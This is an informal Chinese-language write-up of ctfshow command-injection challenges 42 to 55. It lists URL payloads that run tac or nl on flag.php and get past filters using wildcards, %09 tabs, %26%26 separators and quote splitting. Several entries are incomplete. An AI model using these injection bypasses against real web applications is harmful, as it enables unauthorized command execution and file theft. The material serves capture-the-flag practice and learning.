ctfshow 42
这句话的意思是所以的c的结果值是不会返回的
试一下双写绕过
第二个再黑洞,第一个就正常输出
双写绕过
?c=ls;ls
tac 是一个逆向可以将html中的注释破坏
?c=tac flag.php;ls
ctfshow web 43
相当于进行一个命令分割,先执行前面的命令,后面的命令不用管
然后跟ctfshow42一样得到flag就可以了
ctfshow 44
将flag过滤
`?c=tac fla?.php;ls`
ctfshow 45
多过滤了一个空格
将空格用其他代替过滤就好用%09
?c=tac%09fla?.php;ls
ctfshow46
过滤了*号可占任意个 ?只占一个
?c=tac%09fla?.php%26%26ls
ctfshow 47
用ctfshow 46 打就可以了
?c=tac%09fla?.php%26%26ls
ctfshow 48
同样可以用这样的方法
?c=tac%09fla?.php%26%26ls
ctfshow49
相较于上面几题多过滤了一个百分号
这是大家就有疑问为啥呀
代码里面也有百分号呀
%09是由url解码另外的字符
&&-> %26%26 也是一样的
ctfshow 50,51
类似就不分开了大部分一样看看五一的图
fla"g 不能使用(?)不支持通配,使用两个单引号,就可以把后面的隔掉
||使用url 编码将%7%7 来代替
nl在这题中可以一定程度上有着cat的作用
nl
nl命令读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用-p选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与cat -n有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。
详解看https://blog.csdn.net/guobingjie123/article/details/78774565?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164803092816780271961645%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=164803092816780271961645&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-78774565.142v3pc_search_result_control_group,143v4control&utm_term=+nl%E5%91%BD%E4%BB%A4&spm=1018.2226.3001.4187
这个是ctfshow51的图
ctfshow52
可以查看根目录
ctfshow53
ctfshow54
再列一下根目录看写入了没有,如果写入然后再执行z.txt
就可以得到flag
ctfshow 55
经典的无字母rce
这个有点复制太晚了我觉得可能理解起来有困难,明天再战